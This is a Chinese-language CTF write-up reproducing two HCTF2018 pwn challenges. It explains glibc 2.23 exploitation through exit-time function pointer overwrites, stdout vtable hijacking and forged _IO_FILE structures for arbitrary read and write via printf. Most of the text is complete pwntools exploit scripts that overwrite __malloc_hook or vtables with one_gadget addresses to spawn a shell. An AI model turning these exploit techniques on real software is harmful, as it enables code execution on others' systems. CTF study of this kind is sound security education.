1. 程式人生 > >HCTF2018 pwn題復現

HCTF2018 pwn題復現

相關檔案位置

https://gitee.com/hac425/blog_data/tree/master/hctf2018

the_end

程式功能為,首先 打印出 libc 的地址, 然後可以允許任意地址寫 5 位元組。

解法一

在呼叫 exit 函式時, 最終在 ld.so 裡面的 _dl_fini 函式會使用

0x7ffff7de7b2e <_dl_fini+126>:       call   QWORD PTR [rip+0x216414]        # 0x7ffff7ffdf48 <_rtld_global+3848>

取出 libc 裡面的一個函式指標, 然後跳轉過去, 所以思路就是寫這個函式指標為 one_gadget

, 然後呼叫 exit 時就會拿到 shell.

找這個呼叫位置時,可以把 _rtld_global+3848 改成 0 然後程式崩潰時,看下棧回溯就能找到位置了。

所以 poc 如下

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from time import sleep

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['tmux', 'splitw', '-v']

path = "/home/hac425/vm_data/pwn/hctf/the_end"
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

p = process(path, aslr=1)

p = remote("127.0.0.1", 10002)

# gdb.attach(p)
# pause()

p.recvuntil("here is a gift ")
leak = p.recvuntil(",", drop=True)
libc.address = int(leak, 16) - libc.symbols['sleep']
info("libc.address: " + hex(libc.address))

one_gadget = p64(libc.address + 0xf02a4)


# call   QWORD PTR [rip+0x216414]        # 0x7ffff7ffdf48 <_rtld_global+3848>
target = libc.address + 0x5f0f48

sleep(0.1)

for i in range(5):
    p.send(p64(target + i))
    sleep(0.1)
    p.send(one_gadget[i])

p.sendline("exec /bin/sh 1>&0")
p.interactive()

因為關閉了 stdoutstderr , 使用 exec /bin/sh 1>&0 才能得到一個有回顯的 shell , 不過貌似只能在使用 socat 掛載的時候能用貌似, 直接 pwntools 起就沒有反應。

解法二

利用的是在程式呼叫 exit 後,會進入

https://code.woboq.org/userspace/glibc/libio/genops.c.html#817

函式會遍歷 _IO_list_all 呼叫 fp->vtable->_setbuf 函式.

這裡就可以使用兩個 位元組修改 stdout->vtable 到另外一個地址 作為 fake_vtable

, 然後使用 3 個位元組修改 fake_vtable ->_setbufone_gadget. 然後到這裡時就會執行 one_gadget

所以 fake_vtable 的要求就是在修改 fake_vtable ->_setbuf3 個位元組的情況下能變成 one_gadget 的地址。 因為是部分寫,直接在 vtable 附近找找就行。

from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

def pwn(p):
    p.recvuntil('here is a gift ')
    libc_base = int(p.recvuntil(',', drop=True), 16) - 0x0CC230
    stdout_vtable = libc_base + 0x3c56f8
    fake_io_jump = 0x3c3fb0 + libc_base
    remote_addr = libc_base + 0x3c4008
    one_gadget = libc_base + 0xF02B0

    gdb.attach(p, """
    break exit
    """)
    pause()


    log.success('libc: {}'.format(hex(libc_base)))
    log.success('stdout_vtable: {}'.format(hex(stdout_vtable)))
    log.success('fake_io_jump: {}'.format(hex(fake_io_jump)))
    log.success('remote_addr: {}'.format(hex(remote_addr)))
    log.success('one_gadget: {}'.format(hex(one_gadget)))
    pause()

    #0x3c5c58
    payload = p64(stdout_vtable)
    payload += p64(fake_io_jump)[0]
    payload += p64(stdout_vtable + 1)
    payload += p64(fake_io_jump)[1]


    payload += p64(remote_addr)
    payload += p64(one_gadget)[0]
    payload += p64(remote_addr + 1)
    payload += p64(one_gadget)[1]
    payload += p64(remote_addr + 2)
    payload += p64(one_gadget)[2]

    p.send(payload)
    p.sendline("exec /bin/sh 1>&0")
    p.interactive()

if __name__ == '__main__':
    path = "/home/hac425/vm_data/pwn/hctf/the_end"
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    p = process(path, aslr=0)
    # p = remote("127.0.0.1", 10002)
    pwn(p)

babyprintf_ver2

程式的邏輯比較簡單,往 data 段裡面的一個 8 位元組大小的區域讀入 0x200 位元組, 會覆蓋掉 stdout 指標。

0x200 大小足夠大了, 可以偽造 _IO_FILE_plus 結構體, 然後修改 stdout 指標為偽造的結構體, 不過這裡會恢復 vtable , 所以不能通過改 vtable 來實現程式碼執行。

這題引入了一種新的 FILE 結構體的利用, 在能修改 stdout 結構體裡面的緩衝區指標的情況下,僅呼叫 printf 也能實現任意地址讀寫。

解法一

首先利用 利用 write_basewrite_ptr 進行資訊洩露, leak write_base 的字串。

然後利用 write_ptrwrite_end 實現任意地址寫 , 貌似是 printf 裡面會有 memcpy , 導致可以複製輸入字串 strwrite_ptr , 長度為 strlen(str)

這種方式比較新奇, 貌似之前都沒有提到過。僅僅通過修改 stdout 的一些指標,就能在 printf 的時候實現任意地址讀寫。

最後改 malloc_hookone_gadget, 然後使用 %n 觸發 malloc.

可以調調 exp, 完整 exp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from time import sleep
from utils import *

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['tmux', 'splitw', '-v']

path = "/home/hac425/vm_data/pwn/hctf/babyprintf_ver2"
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
bin = ELF(path)

p = process(path, aslr=0)


def ru(x):
    return p.recvuntil(x)


def se(x):
    p.send(x)


ru('So I change the buffer location to ')

buffer = int(ru('\n'), 16)
pbase = buffer - 0x202010
bin.address = pbase
info("pbase: " + hex(pbase))

# pause()

ru('Have fun!')

target = bin.got['setbuf']

file = p64(0xfbad2887) + p64(pbase + 0x201FB0)  # flag + read_ptr
file += p64(target) + p64(target)  # read_end + read_base, read_end 和 write_base 要一致
file += p64(target) + p64(target + 0x8)  # write_base + write_ptr , 利用 write_base 和 write_ptr ,leak
file += p64(target) + p64(target)  # write_end + buf_base
file += p64(target) + p64(0)  # buf_end + save_base
file += p64(0) + p64(0)
file += p64(0) + p64(0)
file += p64(1) + p64(0xffffffffffffffff)
file += p64(0) + p64(buffer + 0x200)  # _lock, 要指向  *_lock = 0
file += p64(0xffffffffffffffff) + p64(0)
file += p64(buffer + 0x210) + p64(0)  # _wide_data , 一塊可寫記憶體地址
file += p64(0) + p64(0)
file += p64(0x00000000ffffffff) + p64(0)
file += p64(0) + p64(0)

se(p64(0xdeadbeef) * 2 + p64(buffer + 0x18) + file + '\n')

ru('permitted!\n')
leak = u64(ru('\x00\x00'))

libc.address = leak - libc.symbols['setbuf']
info("leak : " + hex(leak))
info("libc.address : " + hex(libc.address))
# gdb.attach(p)
# pause()

malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']

sleep(0.2)

file = p64(0xfbad2887) + p64(malloc_hook)  # flag + read_ptr
file += p64(malloc_hook) + p64(malloc_hook)  # read_end + read_base, read_end 和 write_base 要一致
file += p64(malloc_hook) + p64(free_hook)  # write_base + write_ptr
file += p64(free_hook + 8) + p64(malloc_hook)  # write_end + buf_base
file += p64(malloc_hook) + p64(0)  # buf_end + save_base
file += p64(0) + p64(0)
file += p64(0) + p64(0)
file += p64(1) + p64(0xffffffffffffffff)
file += p64(0) + p64(buffer + 0x220)
file += p64(0xffffffffffffffff) + p64(0)
file += p64(buffer + 0x230) + p64(0)
file += p64(0) + p64(0)
file += p64(0x00000000ffffffff) + p64(0)
file += p64(0) + p64(0)

one_gadget = libc.address + 0x4526a

# 就是等 printf 時, 就會把開頭的資料 寫到目的地址
se(p64(one_gadget) * 2 + p64(buffer + 0x18) + file + '\n')
info("修改 malloc_hook")
pause()

sleep(0.5)

se('%n\n')

print(hex(pbase))
print(hex(leak))

p.interactive()

"""
# 0x555555756020    stdout  
p *(struct  _IO_FILE *)0x0000555555756028
"""

解法二

來自

https://ctftime.org/writeup/12124

exp 看的出來這位大佬對 printf 非常的熟悉。下面分析分析 exp

leak 階段採取的方式是

此時的 file 結構體為, _IO_read_end = _IO_write_base 為要 leak 的起始地址
_IO_write_ptr 為要 leak 資料的終止地址

pwndbg> p *(struct  _IO_FILE *)0x0000555555756030
$1 = {
    _flags = -72537977,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x555555756108 "\340f\t\253\252*",
    _IO_read_base = 0x0,
    _IO_write_base = 0x555555756108 "\340f\t\253\252*",   # 要洩露的地址
    _IO_write_ptr = 0x555555756110 "",   # 結尾,用於計算長度
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 1,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x555555756110,    # 指向 0 記憶體
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
}

僅僅設定了一些必要的欄位,當 printf 時,就能 leak0x555555756108 的資料了。

任意地址寫的構造就更加的巧妙了。

_IO_read_end 設定為我們輸入資料的位置, 然後把 _IO_buf_base 設定為需要寫的位置。

然後第一次呼叫 printf 後,會 把其他的欄位填充

接著會進入

https://code.woboq.org/userspace/glibc/libio/fileops.c.html#788

開始不斷往 _IO_buf_base 寫 一位元組, 最後的結果是 _IO_buf_base 會被寫入 我們輸入資料的最後一個位元組

input[strlen(input) - 1]   ---> 即處 \x00 外的最後一個位元組

**可在 _IO_buf_base 下讀寫監視點來檢視**

此時在傳送一個位元組長的字串, 會再次往剛剛的位置寫這個位元組,這樣就能實現任意地址 1 位元組寫。

        # 每次寫一個位元組
        s.sendline(chr(what & 0xff))

多次呼叫實現任意地址寫。然後寫 malloc_hook%66000c 觸發 malloc 的呼叫。

完整 exp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from utils import *

context.aslr = False
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']


# context.terminal = ['tmux', 'splitw', '-v']

# Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags=0,
              _IO_read_ptr=0,
              _IO_read_end=0,
              _IO_read_base=0,
              _IO_write_base=0,
              _IO_write_ptr=0,
              _IO_write_end=0,
              _IO_buf_base=0,
              _IO_buf_end=0,
              _IO_save_base=0,
              _IO_backup_base=0,
              _IO_save_end=0,
              _IO_marker=0,
              _IO_chain=0,
              _fileno=0,
              _lock=0):
    struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, "\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, "\x00")
    return struct


def write(what, where):
    while what:
        p = 'A' * 16
        p += p64(buf + 32)
        p += p64(0)
        # https://code.woboq.org/userspace/glibc/libio/fileops.c.html#788
        # 構造這樣的結構會把輸入資料的最後一個位元組寫到  where
        p += pack_file(_flags=0xfbad2887,
                       _IO_read_end=buf,
                       _IO_buf_base=where,
                       _fileno=1,
                       _lock=buf + 0x100)
        s.sendline(p)
        # 每次寫一個位元組
        s.sendline(chr(what & 0xff))
        where += 1
        what >>= 8


def leak(where):
    p = 'A' * 16
    p += p64(buf + 32)
    p += p64(0)

    """
    此時的 file 結構體為, _IO_read_end = _IO_write_base 為要 leak 的起始地址, _IO_write_ptr 為要 leak 資料的終止地址
    """
    p += pack_file(_flags=0xfbad2887,
                   _IO_read_end=where,
                   _IO_write_base=where,
                   _IO_write_ptr=where + 8,
                   _fileno=1,
                   _lock=buf + 0x100)
    s.sendline(p)
    s.recvline()
    return u64(s.recv(8))


libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
ONE_SHOT = 0x4526A
s = process('/home/hac425/vm_data/pwn/hctf/babyprintf_ver2')

s.recvuntil('0x')
buf = int(s.recv(12), 16)

print 'buf @ ' + hex(buf)
gdb.attach(s)
pause()

s.recvuntil('Have fun!\n')

libc_base = leak(buf + 0xf8) - libc.symbols['_IO_file_jumps']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_shot = libc_base + ONE_SHOT

print 'libc @ ' + hex(libc_base)
pause()

write(one_shot, malloc_hook)

s.sendline('%66000c')
# s.recvuntil('\x7f')

s.interactive()

"""
p *(struct  _IO_FILE *)0x0000555555756030

"""

參考

https://xz.aliyun.com/t/3261#toc-2

https://xz.aliyun.com/t/3255#toc-13

https://ctftime.org/writeup/12124